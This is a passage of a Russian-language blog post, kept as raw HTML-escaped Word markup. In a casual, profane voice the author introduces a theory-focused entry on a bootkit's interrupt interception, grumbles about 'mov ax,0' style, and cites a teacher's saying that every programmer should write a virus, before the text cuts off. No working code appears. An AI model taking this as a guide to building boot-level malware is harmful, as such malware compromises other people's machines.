&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;&quot;&lt;/span&gt;Ебать&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;мой&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; *&lt;/span&gt;уй&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;&quot;- &lt;/span&gt;так&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;было&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;бы&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;&amp;nbsp;логичнее&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;всего&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;начать&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;мое&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;посленовогоднее&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;послание&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;).&lt;/span&gt;Напало&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;стооолько&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;работы&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;,&lt;/span&gt;что&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;я&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;не&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;то&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;что&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;не&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;успеваю&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;писать&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;сюда&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;,&lt;/span&gt;а&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;даже&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;сделать&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;видео&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;на&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;конкурс&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;...&lt;/span&gt;отакие&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;пироги&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
Но&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;короче&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;собрался&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;я&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;с&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;силой&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;мысли&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;,&lt;/span&gt;духа&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;и&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;так&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;далее&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;и&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;сегодня&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;будет&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;пост&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; (&lt;/span&gt;в&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;котором&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;кстати&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;будет&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;в&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;большинстве&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;своем&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;теория&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;)&lt;/span&gt;о&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;следующем&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;т&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;.&lt;/span&gt;н&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;. &lt;/span&gt;этапе&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;буткита&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;-&lt;/span&gt;перехват&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;прерывания&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;(&lt;/span&gt;основная&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;фишка&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;буткита&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;,&lt;/span&gt;с&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;помощью&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;которой&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;он&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;контролирует&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;процесс&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;загрузки&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;операционной&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;системы&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;), &lt;/span&gt;мы&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;должный&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;понять&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;, &lt;/span&gt;что&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;новое&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;-&lt;/span&gt;это&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;хорошо&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;забытое&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;старое&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;,&lt;/span&gt;что&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;программируя на&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;ассемблере&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;важно&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;знать&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;строение&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;процессора&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;,&lt;/span&gt;его&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;работу&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;,&lt;/span&gt;что&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;ДОС&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;- &lt;/span&gt;это&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;то&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;что&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;учит&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;писать&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;и&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;думать&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;на&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;асме&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;. &lt;/span&gt;Стает&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;печально&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;иногда&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;видеть&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;такой&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;код&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;mov&lt;/span&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;ax&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;,0&lt;/b&gt;&lt;/span&gt;&quot;&amp;nbsp;&lt;/span&gt;ну&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;что&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;это&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;?)&lt;/span&gt;это&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;не&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;красиво&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;,&lt;/span&gt;не&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;по&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;культурному&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
В&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;общем&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;идея&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;заключается&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;в&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;том&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;что&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;: &lt;/span&gt;как&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;говорил&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;мой&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;учитель&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;-&lt;/span&gt;каждый&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;программист&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;должен&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;за&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;всю&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;жизнь&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;написать&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;вирус&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;и&lt;span style=&quot;font-family: &amp;quot;Droid Sans&amp;quot;; mso-ansi-language: RU; mso-hansi-font-family: &amp;quot;Times New 